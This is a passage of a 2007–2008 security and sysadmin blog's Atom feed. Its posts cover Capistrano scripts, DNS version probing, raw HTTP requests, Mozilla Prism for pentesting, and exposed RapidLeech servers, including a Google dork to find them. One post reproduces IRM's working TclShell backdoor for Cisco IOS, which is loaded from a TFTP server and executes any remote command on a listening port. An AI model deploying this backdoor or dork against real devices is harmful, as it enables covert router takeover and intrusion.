OPTIONS[:hostslist] == ""&lt;br /&gt;  #Read standard Capistrano Role string configuration file.&lt;br /&gt;  File.open(File.dirname(File.expand_path(__FILE__)) + "/#{OPTIONS[:file]}").each { |line|&lt;br /&gt;    hosts = line[(line.index(",")+2)..-1].gsub("\"","").strip.split(',') if not line =~ /^\s*#/&lt;br /&gt;  }&lt;br /&gt;else&lt;br /&gt;  #Read env option string &lt;br /&gt;  hosts = OPTIONS[:hostslist].split(',')&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-&lt;br /&gt;#Begin Main Loop&lt;br /&gt;&lt;br /&gt;outputIO = StringIO.new&lt;br /&gt;logmethod = OPTIONS[:syslog]&lt;br /&gt;&lt;br /&gt;for host in hosts&lt;br /&gt;  tick(host.strip, outputIO, logmethod)&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;# End Main Loop&lt;br /&gt;# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-5851866357427453287?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/5851866357427453287/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=5851866357427453287' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/5851866357427453287'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/5851866357427453287'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2008/09/command-line-capistrano-forked.html' title='Command Line Capistrano Forked'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-5488581433742730953</id><published>2008-07-28T18:16:00.005Z</published><updated>2008-07-28T23:06:07.168Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='dns'/><title type='text'>DNS version attempts &amp; tools</title><content type='html'>There has been some DNS junk flying around again.. so refresh.&lt;br /&gt;&lt;br /&gt;Dont forget how easy it is to do a DNS version attempt. &lt;br /&gt;&lt;div id="code"&gt;&lt;br /&gt;dig @ns.example.com -c CH -t txt version.bind&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Make sure your BIND/Named is obfuscated/disabled with custom message..&lt;br /&gt;&lt;br /&gt;&lt;div id="code"&gt;&lt;br /&gt;options&lt;br /&gt;{&lt;br /&gt; version "Generic DNS Server";&lt;br /&gt;}&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Not that it helps much with fpdns around.&lt;br /&gt;&lt;div id="code"&gt;&lt;br /&gt;anonymous@:~$ fpdns -D google.com&lt;br /&gt;fingerprint (google.com, 216.239.34.10): ISC BIND 8.3.0-RC1 -- 8.4.4&lt;br /&gt;fingerprint (google.com, 216.239.36.10): ISC BIND 8.3.0-RC1 -- 8.4.4&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a href="http://code.google.com/p/fpdns/source/browse/trunk/trunk/Fingerprint.pm"&gt;Perl: (Fingerprint.PM)&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Make sure your read basic DNS information like &lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.cisco.com/web/about/security/intelligence/dns-bcp.html"&gt;Cisco's: DNS Best Practices, Network Protections, and Attack Identification&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;And understand the principles laid out in Secure BIND configurations such as:&lt;br /&gt;&lt;a href="http://www.cymru.com/Documents/secure-bind-template.html"&gt;http://www.cymru.com/Documents/secure-bind-template.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Look into DNS Debug tools such as &lt;a href="http://sourceforge.net/projects/dnswalk/"&gt;DNSwalk&lt;/a&gt;, &lt;a href="http://www.freshports.org/dns/dlint/"&gt;dlint&lt;/a&gt;, &amp; &lt;a href="http://www.shub-internet.org/brad/dns/"&gt;DOC&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;And for reverse lookups use where there is no PTR record try A record caches like:&lt;br /&gt;Passive DNS Replication @&lt;br /&gt;&lt;a href="http://cert.uni-stuttgart.de/stats/dns-replication.php?"&gt;http://cert.uni-stuttgart.de/stats/dns-replication.php&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-5488581433742730953?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/5488581433742730953/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=5488581433742730953' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/5488581433742730953'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/5488581433742730953'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2008/07/dns-version-attempts-tools.html' title='DNS version attempts &amp; tools'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-6773412521130771973</id><published>2008-06-05T15:02:00.005Z</published><updated>2008-06-05T15:50:38.628Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='http get raw nc telnet sbd'/><title type='text'>Simple http get request... snooze.</title><content type='html'>Lets get some basic headers using sbd.exe, nc, telnet whatever..&lt;br /&gt;&lt;br /&gt;&lt;div id="code"&gt;telnet www.microsoft.com 80&lt;br /&gt;nc www.microsoft.com 80&lt;br /&gt;sbd -c off www.microsoft.com 80&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Enter default HTTP / GET|OPTIONS|PUT|POST|HEAD|TRACE Command&lt;br /&gt;(Using Host header is only important when there is vhosting on the IP/hostname)&lt;br /&gt;&lt;div id="code"&gt;GET / HTTP /1.1&lt;br /&gt;Host: www.microsoft.com&lt;br /&gt;Press Enter twice&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;(Windows telnet lameness.. Turning on local echo..)&lt;br /&gt;&lt;div id="code"&gt;Type "Ctrl+]"&lt;br /&gt;Type "set localecho"&lt;br /&gt;Press Enter twice&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-6773412521130771973?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/6773412521130771973/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=6773412521130771973' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/6773412521130771973'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/6773412521130771973'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2008/06/simple-http-get-request-snooze.html' title='Simple http get request... snooze.'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-6491579399098687929</id><published>2008-04-27T04:51:00.006Z</published><updated>2008-04-27T05:17:59.925Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='remote shell'/><category scheme='http://www.blogger.com/atom/ns#' term='injection'/><category scheme='http://www.blogger.com/atom/ns#' term='exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='digg'/><title type='text'>Digg + Idiots + RapidShare = p0wn3d</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_kei_rR7smcA/SBQLFcR7sdI/AAAAAAAAANk/Lni2hVmrJe0/s1600-h/digg.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://3.bp.blogspot.com/_kei_rR7smcA/SBQLFcR7sdI/AAAAAAAAANk/Lni2hVmrJe0/s400/digg.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5193788458383684050" /&gt;&lt;/a&gt;&lt;br /&gt;God damn it.. dumb ideas just stay around for far too long.&lt;br /&gt;&lt;br /&gt;Ok we all know what the hell rapidshare is. It's a waste of internet space. One thing though a couple of years ago somebody &lt;span style="font-style:italic;"&gt;dugg&lt;/span&gt; an article on a way to get around restrictions using a server script called rapidleech. Ok all in good fashion, but come on... you leave this open on apache server which can process php files.. and allow public upload to your server from any url.. (r57.php c99/100.php the list just goes on and on.. ) Renaming the file really helped huh..? &lt;br /&gt;&lt;br /&gt;Just look at the multiversion google dork: &lt;br /&gt;[2 years later and still 117+ zombies waiting to happen] &lt;br /&gt;&lt;a href="http://www.google.com/search?q=%22Bugs+Report+to+Rapidget.bug"&gt;"Bugs Report to Rapidget.bug"&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;Digg idiots: &lt;a href="http://digg.com/tech_news/RapidLeech"&gt;http://digg.com/tech_news/RapidLeech&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-6491579399098687929?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/6491579399098687929/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=6491579399098687929' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/6491579399098687929'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/6491579399098687929'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2008/04/digg-idiots-rapidshare-p0wn3d.html' title='Digg + Idiots + RapidShare = p0wn3d'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_kei_rR7smcA/SBQLFcR7sdI/AAAAAAAAANk/Lni2hVmrJe0/s72-c/digg.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-2072447246180883381</id><published>2008-04-16T21:05:00.002Z</published><updated>2008-04-16T21:08:51.943Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='capistrano capify highline menu'/><title type='text'>Capistrano with highline menu.</title><content type='html'>Example Capistrano file using the highline menu system.. &lt;br /&gt;&lt;br /&gt;(Capistrano really needs some better docs.)&lt;br /&gt;&lt;br /&gt;&lt;div id="code"&gt;&lt;br /&gt;#example capistrano menu using highline menu system &lt;br /&gt;# Published under BSD license &lt;br /&gt;# written by:shadowbq - http://shad0wbq.blogspot.com&lt;br /&gt;# verified on: capistrano 2.2.0 &amp; highline 1.4.0&lt;br /&gt;&lt;br /&gt;role :comps, "localhost"&lt;br /&gt;&lt;br /&gt;desc "Example Highline menu"&lt;br /&gt;task :menu do&lt;br /&gt;  Capistrano::CLI.ui.say("\nThis is with a different layout...")&lt;br /&gt;  Capistrano::CLI.ui.choose do |menu|&lt;br /&gt;   menu.layout = :one_line&lt;br /&gt;&lt;br /&gt;   menu.header = "Execute"&lt;br /&gt;   menu.prompt = "Application?  "&lt;br /&gt;&lt;br /&gt;   menu.choice :hello do &lt;br /&gt;     helloworld &lt;br /&gt;   end&lt;br /&gt;   menu.choices(:skip, :exit) do &lt;br /&gt;     Capistrano::CLI.ui.say("Choose not to run..") &lt;br /&gt;   end&lt;br /&gt;  end&lt;br /&gt;  &lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;task :helloworld do&lt;br /&gt;  run "echo helloworld."&lt;br /&gt;end&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-2072447246180883381?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/2072447246180883381/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=2072447246180883381' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/2072447246180883381'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/2072447246180883381'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2008/04/capistrano-with-higline-menu.html' title='Capistrano with highline menu.'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-6406687881805097693</id><published>2008-03-25T14:57:00.008Z</published><updated>2008-03-25T15:44:44.277Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='firefox'/><category scheme='http://www.blogger.com/atom/ns#' term='rebrand'/><category scheme='http://www.blogger.com/atom/ns#' term='prism'/><title type='text'>Mozilla Prism &amp; Pen-testing</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://labs.mozilla.com/2007/10/prism/"&gt;&lt;img style="float:right; margin:0 0 10px 10px; height:50%; width:50%; cursor:pointer; cursor:hand;" src="http://3.bp.blogspot.com/_kei_rR7smcA/R-kdpMFvk1I/AAAAAAAAANE/ZhnZdkZ5N7s/s400/prismlogo.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5181705439723623250" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://labs.mozilla.com/2007/10/prism/"&gt;Mozilla Prism &lt;/a&gt;, one in a series of recent site-specific-browsers(ssb) has become a fairly useful tool for me. I can run the web applications under different users (run as.. ). This allows limiting access and resources to the web application. It also allows running multiple different cookie sets at one time. &lt;br /&gt;&lt;br /&gt;Simple example is having multiple gmail accounts logged in at one time. A more complex example is cookie manipulation while authenticated during access level enumeration.&lt;br /&gt;&lt;br /&gt;Prism allows for the fine tuning of ssb to accommodate multiple pentesting angles.In the past I've &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/2776"&gt;rebranded Firefox&lt;/a&gt; and done similar things as running as guest users, but it was never this easy. &lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://icontexto.blogspot.com/"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/_kei_rR7smcA/R-kbe8Fvk0I/AAAAAAAAAM8/gdg2nH-kwgo/s400/Internet-48x48.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5181703064606708546" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Prism and Flash on Windows&lt;/span&gt;&lt;br /&gt;Its is pretty simple to enable your plugins (not talking extensions here.. ) on Prism on a windows system. All you have to do is copy your {program files}\Mozilla Firefox\plugins directory to your {program files}\Prism\Plugins directory. The Prism plugins directory doesnt exist by default and needs to be created. You may also want to copy the files into the XULRunner plugins directory. XUL runner handles any XUL apps that may depend on those plugins as well.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-6406687881805097693?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/6406687881805097693/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=6406687881805097693' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/6406687881805097693'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/6406687881805097693'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2008/03/mozilla-prism-pen-testing.html' title='Mozilla Prism &amp; Pen-testing'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_kei_rR7smcA/R-kdpMFvk1I/AAAAAAAAANE/ZhnZdkZ5N7s/s72-c/prismlogo.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-6358074885612581986</id><published>2007-11-28T16:36:00.000Z</published><updated>2007-11-28T16:43:30.273Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='remote shell'/><category scheme='http://www.blogger.com/atom/ns#' term='backdoor'/><category scheme='http://www.blogger.com/atom/ns#' term='tcl'/><category scheme='http://www.blogger.com/atom/ns#' term='cisco ios'/><title type='text'>Shell code for IOS using TCLSH on Cisco devices..</title><content type='html'>An nice article that went out by IRM talked about simple way to create TCL backdoor for cisco IOS.  You can read the white paper &lt;a href="http://www.irmplc.com/download_pdf.php?src=Creating_Backdoors_in_Cisco_IOS_using_Tcl.pdf&amp;amp;force=yes"&gt;here&lt;/a&gt;.&lt;br /&gt;Oops: didnt known what I was sourcing..&lt;br /&gt;&lt;div id="code"&gt;&lt;br /&gt;Router&gt;en&lt;br /&gt;Router#tclsh&lt;br /&gt;Router(tcl)#source tftp://tftpserver/tclsh.tcl&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Source:&lt;br /&gt;&lt;div id="code"&gt;&lt;br /&gt;# TclShell.tcl v0.1 by Andy Davis, IRM 2007&lt;br /&gt;#&lt;br /&gt;# IRM accepts no responsibility for the misuse of this code&lt;br /&gt;# It is provided for demonstration purposes only&lt;br /&gt;proc callback {sock addr port} {&lt;br /&gt;fconfigure $sock -translation lf -buffering line&lt;br /&gt;puts $sock " "&lt;br /&gt;puts $sock "-------------------------------------"&lt;br /&gt;puts $sock "TclShell v0.1 by Andy Davis, IRM 2007"&lt;br /&gt;puts $sock "-------------------------------------"&lt;br /&gt;puts $sock " "&lt;br /&gt;set response [exec "sh ver | inc IOS"]&lt;br /&gt;puts $sock $response&lt;br /&gt;set response [exec "sh priv"]&lt;br /&gt;puts $sock $response&lt;br /&gt;puts $sock " "&lt;br /&gt;puts $sock "Enter IOS command:"&lt;br /&gt;fileevent $sock readable [list echo $sock]&lt;br /&gt;}&lt;br /&gt;proc echo {sock} {&lt;br /&gt;global var&lt;br /&gt;if {[eof $sock] || [catch {gets $sock line}]} {&lt;br /&gt;} else {&lt;br /&gt;set response [exec "$line"]&lt;br /&gt;puts $sock $response&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;set port 1234&lt;br /&gt;set sh [socket -server callback $port]&lt;br /&gt;vwait var&lt;br /&gt;close $sh&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;All material is IRM's, this is just a snippet from the article.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-6358074885612581986?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/6358074885612581986/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=6358074885612581986' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/6358074885612581986'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/6358074885612581986'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2007/11/shell-code-for-ios-using-tclsh-on-cisco.html' title='Shell code for IOS using TCLSH on Cisco devices..'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-6217429670594462345</id><published>2007-11-19T15:15:00.000Z</published><updated>2007-11-19T15:20:53.096Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='cifs'/><category scheme='http://www.blogger.com/atom/ns#' term='null'/><category scheme='http://www.blogger.com/atom/ns#' term='at'/><category scheme='http://www.blogger.com/atom/ns#' term='wmi'/><category scheme='http://www.blogger.com/atom/ns#' term='basics'/><category scheme='http://www.blogger.com/atom/ns#' term='smb'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Low hangin fruit</title><content type='html'>Hacking old skool windows..&lt;br /&gt;&lt;br /&gt;Notes from a CEH. Nothing new, but at least the basic are covered. This all should be automated by some wrapper so you don't waste time.. Generally you could do all this in Backtrack or similar builds.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://hackathology.blogspot.com/2007/06/hacking-old-skoolz-windows.html"&gt;http://hackathology.blogspot.com/2007/06/hacking-old-skoolz-windows.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-6217429670594462345?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/6217429670594462345/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=6217429670594462345' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/6217429670594462345'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/6217429670594462345'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2007/11/low-hangin-fruit.html' title='Low hangin fruit'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-6245072410806909608</id><published>2007-11-16T16:48:00.000Z</published><updated>2007-11-16T19:51:59.077Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='tagging'/><category scheme='http://www.blogger.com/atom/ns#' term='framework'/><category scheme='http://www.blogger.com/atom/ns#' term='pipes'/><category scheme='http://www.blogger.com/atom/ns#' term='gnucitizen'/><title type='text'>RSS / ATOM  - Security Tagging Framework for Yahoo PIPES</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kei_rR7smcA/Rz3OFl12tCI/AAAAAAAAAK8/dcieMTkp5pU/s1600-h/stfw.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_kei_rR7smcA/Rz3OFl12tCI/AAAAAAAAAK8/dcieMTkp5pU/s400/stfw.png" alt="" id="BLOGGER_PHOTO_ID_5133485745724896290" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I've been using YAHOO pipes for awhile to help filter some of the junk on full disclosure. Tagging became part of my daily habits so I thought it most appropriate to create auto taggers so I can read / filter much more quickly.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://pipes.yahoo.com/pipes/pipe.info?_id=jq8uEkfL2xGtHkF4mLokhQ"&gt;Security Tagging FrameWork&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;The basics of the PIPE is an array of regular expressions that strip off unneccessary titles, duplicates, responses, and add Pre-titles such as {Vulnerability}{Web-based}.&lt;br /&gt;&lt;br /&gt;Ive also created an example on how to use the framework with existing YAHOO-PIPES.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://pipes.yahoo.com/pipes/pipe.info?_id=8C4EuxCS3BGUPJaSLO2fWQ" class="pipelink"&gt;Vulnerability Watch++ (Security Tagging Framework Example)&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This PIPE aggregates two feeds and uniques them, and tags them utilizing the framework twice.&lt;br /&gt;&lt;br /&gt;Side note:&lt;br /&gt;&lt;br /&gt;GNUCitizen posted two nice articles on PIPES and their flexibility to be utilized with JSON database.&lt;br /&gt;&lt;br /&gt;1. &lt;a href="http://www.gnucitizen.org/blog/5-generic-yahoo-pipes-hackers-cannot-live-without"&gt;5-generic-yahoo-pipes-hackers-cannot-live-without&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2. &lt;a href="http://www.gnucitizen.org/projects/renaissance/"&gt;Project Renaissance&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-6245072410806909608?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/6245072410806909608/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=6245072410806909608' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/6245072410806909608'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/6245072410806909608'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2007/11/rss-atom-security-tagging-framework-for.html' title='RSS / ATOM  - Security Tagging Framework for Yahoo PIPES'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_kei_rR7smcA/Rz3OFl12tCI/AAAAAAAAAK8/dcieMTkp5pU/s72-c/stfw.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-1089704334721239200</id><published>2007-07-11T17:52:00.000Z</published><updated>2007-07-11T17:55:39.491Z</updated><title type='text'>QRcode - semanatic posting...</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_kei_rR7smcA/RpUZLHoR_UI/AAAAAAAAAEY/0IPKdaICgc0/s1600-h/shadowbq_robo2.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" src="http://1.bp.blogspot.com/_kei_rR7smcA/RpUZLHoR_UI/AAAAAAAAAEY/0IPKdaICgc0/s400/shadowbq_robo2.png" alt="" id="BLOGGER_PHOTO_ID_5085999033002097986" border="0" /&gt;&lt;/a&gt;Email: r@qry.jp&lt;br /&gt;&lt;br /&gt;QRcode decoding through the web... enjoy the robot.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-1089704334721239200?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/1089704334721239200/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=1089704334721239200' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/1089704334721239200'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/1089704334721239200'/><link rel='alternate' type='text/html' 